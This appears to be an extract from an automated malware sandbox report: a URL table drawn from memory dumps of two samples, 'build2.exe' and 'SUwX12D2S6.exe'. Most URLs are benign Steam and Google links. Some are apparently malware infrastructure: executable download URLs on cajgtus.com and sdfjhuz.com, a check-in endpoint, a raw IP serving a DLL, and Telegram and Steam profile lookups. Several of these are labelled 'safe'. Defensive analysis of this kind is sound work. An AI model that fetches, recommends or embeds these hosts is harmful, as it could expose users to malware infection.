http://www.valvesoftware.com/legal.htm	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cajgtus.com/files/1/build3.exeg	SUwX12D2S6.exe, 00000004.00000002.2245822079.0000000003102000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2242434327.0000000003102000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199673019888_	build2.exe, 00000008.00000002.1967987129.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1889987527.00000000008FF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17e	build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://wetransfer.cQ	SUwX12D2S6.exe, 00000006.00000002.4130188988.0000000000802000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english	build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/work	build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=SPpMitTYp6ku&l=en	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/sqln.dllne	build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://95.217.9.149CGCBK	build2.exe, 00000008.00000002.1966489860.000000000051A000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=1_BxDGVvfXwv&am	build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.reddit.com/	SUwX12D2S6.exe, 00000004.00000003.1779020093.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://steam.tv/	build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://95.217.9.149a	build2.exe, 00000008.00000002.1966489860.0000000000558000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=c4UneKQJ	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.1490.5938.132	build2.exe, 00000008.00000002.1966489860.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://steamcommunity.com/d	build2.exe, 00000008.00000002.1967987129.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cajgtus.com/files/1/build3.exe$runinstall020921_delay721_sec.exe0D	SUwX12D2S6.exe, 00000004.00000002.2244414394.0000000000868000.00000004.00000020.00020000.00000000.sdmp	false	10%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://store.steampowered.com/points/shop/	build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/L	SUwX12D2S6.exe, 0000000C.00000002.1864753840.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 0000000C.00000003.1863989873.00000000007D3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptch	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://sdfjhuz.com/dl/build2.exe$run	SUwX12D2S6.exe, 00000004.00000002.2244414394.0000000000868000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, IIJEBAEC.8.dr	false		high
https://sketchfab.com	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199673019888/badges	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.youtube.com/	build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=ZVlkBFZXqRp1&l=e	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json;	SUwX12D2S6.exe, 00000006.00000002.4130188988.0000000000728000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637eAa	SUwX12D2S6.exe, 00000006.00000002.4130188988.0000000000767000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.youtube.com/	SUwX12D2S6.exe, 00000004.00000003.1779207365.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27	SUwX12D2S6.exe, 00000004.00000003.2243152678.00000000008EC000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000002.2244414394.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000002.2244719512.00000000008ED000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2233205692.00000000008D5000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2215516667.00000000008E4000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000002.2245638773.00000000030B0000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000006.00000002.4130188988.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/0	SUwX12D2S6.exe, 00000001.00000002.1695073196.0000000000847000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/pet	build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	IIJEBAEC.8.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17xe	build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonE	SUwX12D2S6.exe, 0000000C.00000002.1864753840.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 0000000C.00000003.1863989873.00000000007D3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/;	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonzW	SUwX12D2S6.exe, 00000001.00000002.1695073196.0000000000808000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/irfailAt	build2.exe, 00000007.00000002.1787690913.0000000003560000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://95.217.9.149	build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://help.steampowered.com/en/	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/	build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/hp	build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.amazon.com/	SUwX12D2S6.exe, 00000004.00000003.1778741308.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, IIJEBAEC.8.dr	false		high
http://www.twitter.com/	SUwX12D2S6.exe, 00000004.00000003.1779071628.00000000097F0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/;	build2.exe, 00000008.00000003.1805735818.000000000092F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.openssl.org/support/faq.html	SUwX12D2S6.exe, 00000018.00000002.2116911139.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://steamcommunity.com/discussions/	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/stats/	build2.exe, 00000008.00000003.1852670646.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1852670646.0000000000921000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1888221528.0000000000950000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1966489860.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870400492.0000000000928000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1967987129.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
